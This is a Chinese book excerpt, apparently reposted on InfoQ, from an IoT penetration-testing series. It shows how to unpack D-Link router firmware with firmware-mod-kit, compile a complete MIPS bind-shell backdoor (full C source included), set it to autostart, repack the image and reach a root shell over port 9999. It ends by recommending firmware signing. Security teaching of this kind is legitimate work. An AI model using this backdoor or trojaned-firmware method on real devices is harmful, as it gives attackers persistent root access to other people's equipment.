物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

2020 年 5 月 21 日

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

编者按:本文节选自华章网络空间安全技术丛书《物联网渗透测试》一书中的部分章节。

使用 firmware-mod-kit(FMK)在固件中添加后门

在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。

准备工作

固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。

FMK 可以从 https://github.com/brianpow/firmware-mod-kit/ 下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。

测试流程

篡改固件的步骤如下:

1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。

复制代码
./extract-firmware.sh Dlink_firmware.bin

图 1

提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。

rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。

2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。

图 2

3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:

复制代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running busybox
* Arch : MIPS
* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
*/
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
Analyzing and Exploiting Firmware
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}

代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。

4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:

复制代码
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -o
bindshell

下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。

5)在文件系统中,我们可以在 etc/templates/ 目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于 /etc/scripts/ 目录下,脚本编写如图 3 所示。

图 3

6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。

图 4

执行完成后,会在目录 firmware-name/ 中生成新的固件,新固件名为 new-firmware.bin。

7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。

图 5

如图 5 所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。

8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图 6 所示。

图 6

根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。

测试分析

固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施等操作。而利用本章介绍的 FMK 等工具,攻击者可以很容易地将自己开发的恶意软件或后门植入到任意 IoT 设备固件中,这样攻击者就可以在全球任何地方通过后门访问 IoT 设备了。

正是由于固件篡改在攻击者手中具有如此强大的威力,所以如果能够对固件进行签名和校验值验证,那么对于防止恶意修改固件的攻击而言将具有非常重要的意义。

图书简介 https://item.jd.com/12623610.html

相关阅读

物联网渗透测试(一):简介

物联网渗透测试(二):IoT 中的 Web 应用

物联网渗透测试(三):IoT 中的 移动应用

物联网渗透测试(四):IoT 渗透测试环境的部署

物联网渗透测试(五):威胁建模概念简介

物联网渗透测试(六):IoT 设备威胁建模剖析

物联网渗透测试(七):固件威胁建模

物联网渗透测试(八):IoT Web 应用威胁建模

物联网渗透测试(九):IoT 移动应用威胁建模

物联网渗透测试(十):固件分析方法

物联网渗透测试(十一):固件分析流程

物联网渗透测试(十二):MIPS 架构下的漏洞利用

2020 年 5 月 21 日 10:00 259

评论

发布
暂无评论
发现更多内容

从业务代码到Openjdk源码的debug之路

飞影

Java debug 深入理解JVM Openjdk TLAB

第四周作业

田振宇

架构师训练营 第四周 作业

一雄

极客大学架构师训练营 作业 第四周

游戏夜读 | 不受欢迎的那个人

game1night

第四周总结

石印掌纹

分布式柔性事务之事务消息详解

古月木易

分布式柔性事务‘’

一份还热乎的蚂蚁金服面经(已拿Offer)!附答案!!

猿灯塔

Java

架构师训练营第四周作业

Linuxer

极客大学架构师训练营

架构师训练营 第 4 周总结

Lingjun

极客大学架构师训练营

以应用为中心:开放应用模型(OAM)初探

郭旭东

Kubernetes OAM

以懂行助力加速:华为中国生态之行2020蕴藏的时代钥匙

脑极体

Kafka面试题——20道Kafka知识点

古月木易

Kafka知识点

分布式柔性事务之事务消息详解

奈学教育

分布式事务

命题作业和总结—第四周

于江水

极客大学架构师训练营

一个典型的大型互联网应用系统使用了哪些技术方案和手段,主要解决什么问题?请列举描述。

老姜

架构师训练营 -- 第四周作业

花花大脸猫

极客大学架构师训练营

万文长字JVM总结,面试必备

java金融

Java CMS JVM 垃圾回收

架构师训练营第 4 周 总结

时来运转

成功从小公司跳槽进蚂蚁定级P7,只因刷了七遍这些面试真题

互联网架构师小马

Java 程序员 面试 找工作 架构师

架构师训练营 第四周 学习总结

一雄

极客大学架构师训练营 学习总结 第四周

爱恨交织的红黑树

ytao

数据结构 算法

Kafka面试题——20道Kafka知识点

奈学教育

Kafka知识点

架构师第四课总结

老姜

二胖参数校验的坎坷之路

java金融

Java springboot 参数校验 级联校验 Hibernate-Validator

管理学概念 - 特纳论断

石云升

核心竞争力 特纳论断

企业级业务架构设计读书总结

hiqian

一路“开挂”,完美诠释“年少有为”——90 后首席科学家王乃岩

二叉树视频

写作平台 二叉树 年少有为

架构师训练营 第4周作业

Lingjun

极客大学架构师训练营

【架构师训练营 - 作业 -4】互联网应用面对的问题

小动物

极客大学架构师训练营 作业 第四周

架构师训练营 -- 第四周学习总结

花花大脸猫

极客大学架构师训练营

第四周直播总结笔记

Carlos

Milvus Community Conf 2020

Milvus Community Conf 2020

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门-InfoQ